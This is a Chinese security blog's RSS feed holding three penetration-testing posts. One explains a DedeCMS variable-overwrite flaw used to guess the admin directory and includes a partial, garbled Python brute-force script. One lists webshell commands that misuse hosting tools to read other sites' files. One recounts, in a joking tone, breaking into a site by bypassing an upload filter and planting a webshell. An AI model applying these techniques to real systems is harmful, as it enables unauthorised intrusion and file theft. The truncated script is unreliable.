<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>目录 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E7%9B%AE%E5%BD%95/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Mon, 13 Aug 2018 15:45:32 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>解决历史难题-DEDECMS织梦找后台目录</title>
		<link>/web/363.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 26 Feb 2018 21:15:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[dedecms]]></category>
		<category><![CDATA[后台]]></category>
		<category><![CDATA[目录]]></category>
		<category><![CDATA[织梦]]></category>
		<guid isPermaLink="false">/?p=253</guid>

					<description><![CDATA[原文 https://xianzhi.aliyun.com/forum/topic/2064 利用限制 仅针对windows系统 进入正题 首先看核心文件common.inc.ph...]]></description>
										<content:encoded><![CDATA[<blockquote><p>原文 <a href="https://xianzhi.aliyun.com/forum/topic/2064">https://xianzhi.aliyun.com/forum/topic/2064</a></p></blockquote>
<h1>利用限制</h1>
<p><strong>仅针对windows系统</strong></p>
<h1>进入正题</h1>
<p>首先看核心文件common.inc.php 大概148行左右</p>
<pre><code>if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}</code></pre>
<p>uploadsafe.inc.php</p>
<pre><code>if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
    exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) &amp;&amp; (preg_match(&quot;#\.(&quot;.$cfg_not_allowall.&quot;)$#i&quot;,${$_key.'_name'}) || !preg_match(&quot;#\.#&quot;, ${$_key.'_name'})) )
{
    if(!defined('DEDEADMIN'))
    {
        exit('Not Admin Upload filetype not allow !');
    }
}
if(empty(${$_key.'_size'}))
{
    ${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
    &quot;image/pjpeg&quot;, &quot;image/jpeg&quot;, &quot;image/gif&quot;, &quot;image/png&quot;,
    &quot;image/xpng&quot;, &quot;image/wbmp&quot;, &quot;image/bmp&quot;
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
    $image_dd = @getimagesize($$_key);
    //问题就在这里，获取文件的size，获取不到说明不是图片或者图片不存在，不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
    if (!is_array($image_dd))
    {
        exit('Upload filetype not allow !');
    }
}
......</code></pre>
<p>注意<code>$$_key</code>这一句，变量$key取自于$_FILE，由于$_FILE可控自然$key也可控,此处理论上是可以覆盖任意变量，但是前面有个正则判断不能出现<code>cfg_|GLOBALS</code>。(但是应该还可以覆盖其他变量此处感觉还可以深挖)</p>
<p>本人出发点是找个可以利用</p>
<pre><code>![3.png][3]
# Python版本</code></pre>
<h1>!/usr/bin/env python3</h1>
<h1>fixed bug by ChaBug</h1>
<h1>author = Mochazz</h1>
<p>import requests<br />import itertools<br />characters = &#8220;abcdefghijklmnopqrstuvwxyz0123456789_!~@$-+=()&#8221;  #加上了乱七八糟的符号<br />back_dir = &#8220;&#8221;<br />flag = 0<br />url = &#8220;http://192.168.1.9/tags.php&#8221;<br />data = {</p>
<pre><code>&quot;_FILES[mochazz][tmp_name]&quot; : &quot;./{p}</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>星外虚拟主机跨web目录文件读取技巧</title>
		<link>/web/344.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 28 Jan 2018 11:40:15 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[星外]]></category>
		<category><![CDATA[目录]]></category>
		<guid isPermaLink="false">/?p=113</guid>

					<description><![CDATA[星外虚拟主机跨目录读取文件漏洞，需要一定条件。 详细说明： 问题发生在以下文件，这些文件都没有严格的设置执行权限，当前的IIS用户能够顺利的利用它们执行命令： c:\windows...]]></description>
										<content:encoded><![CDATA[<p><span class="wpcom_tag_link"><a href="/tags/%e6%98%9f%e5%a4%96" title="星外" target="_blank">星外</a></span>虚拟主机跨<span class="wpcom_tag_link"><a href="/tags/%e7%9b%ae%e5%bd%95" title="目录" target="_blank">目录</a></span>读取文件漏洞，需要一定条件。</p>
<p>详细说明：</p>
<p>问题发生在以下文件，这些文件都没有严格的设置执行权限，当前的IIS用户能够顺利的利用它们执行命令：</p>
<pre><code>c:\windows\7i24IISLOG.exe
c:\windows\7i24IISLOG2.exe
c:\windows\7i24IISLOG3.exe
c:\windows\7i24IISLOG4.exe
c:\windows\7i24tool.exe
c:\windows\rsb.exe</code></pre>
<p>其中的<code>7i24IISLOG.exe</code>其实就是<code>LogParser</code>，<code>LogParser</code>是一款强大日志分析工具，下面利用它来列web目录：</p>
<p>在 webshell中</p>
<pre><code>CmdPath:
c:\windows\7i24IISLOG
Argument:
“select top 100 path from e:\host\*.*” -i:FS -rtp:-1</code></pre>
<p>下面读取文件内容：</p>
<pre><code>c:\windows\7i24IISLOG
“select text from e:\host\0233ab\web\admin.php” -i:textline -rtp:-1</code></pre>
<p><code>7i24IISLOG3.exe</code>能够打包ISO文件，利用它同样的也可以列出目录文件信息：</p>
<pre><code>CmdPath:
c:\windows\7i24IISLOG3
Argument:
e:\host\0233ab\web\ c:\windows\temp\123.rar</code></pre>
<p>同样的还有rbs.exe</p>
<pre><code>CmdPath:
c:\windows\rbs -r -v 024dbjj
Argument:
e:\host\0233ab\web\*.*</code></pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>有缘的某个目录之爆菊</title>
		<link>/web/340.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 26 Jan 2018 14:08:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[爆菊]]></category>
		<category><![CDATA[目录]]></category>
		<guid isPermaLink="false">/?p=43</guid>

					<description><![CDATA[能忍?????不存在的。 二话不说拿起nmap就是扫只对这个端口产生性趣脑海浮现弱口令,然而未果。接着去问我表哥,他说这版本有漏洞。搜了一手百度之后这尼玛怎么用？无果抽根烟冷静冷静...]]></description>
										<content:encoded><![CDATA[<p><img src="https://ws1.sinaimg.cn/large/006xriynly1fntywdvdkej30kb07s0uf.jpg" alt="image" title="image"><br />能忍?????<br />不存在的。</p>
<p>二话不说拿起nmap就是扫<br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fntyxdvguyj30jq0dntbq.jpg" alt="image" title="image"><br />只对这个端口产生性趣<br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fntyzbotxoj30z40h9abu.jpg" alt="image" title="image"><br />脑海浮现弱口令,然而未果。<br />接着去问我表哥,他说这版本有漏洞。<br />搜了一手百度之后<br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fntz2cs35kj30sm0r846b.jpg" alt="image" title="image"><br />这尼玛怎么用？无果<br />抽根烟冷静冷静&#8230;顺便扫起了<span class="wpcom_tag_link"><a href="/tags/%e7%9b%ae%e5%bd%95" title="目录" target="_blank">目录</a></span><br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fntz4eph3wj30my0eadis.jpg" alt="image" title="image"><br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fntz50v3f0j30pb04gq2v.jpg" alt="image" title="image"><br />直接注册特么一个。<br />找啊找啊找，<br />咦~~~TMLGB<br />这就十分有灵性了。<br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fntz6p7b3fj316n0g0afr.jpg" alt="image" title="image"><br />开Burp<br />截断  解析漏洞无果后,想起了一手双文件上传。<br />然后cer直接绕过<br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fntz6pczq6j311b0f2wg0.jpg" alt="image" title="image"><br />菜刀<br /><img src="https://ws1.sinaimg.cn/large/006xriynly1fntz6piuyrj30i5080aac.jpg" alt="image" title="image"></p>
<p>翻了翻配置文件  是root权限，以后再提权</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
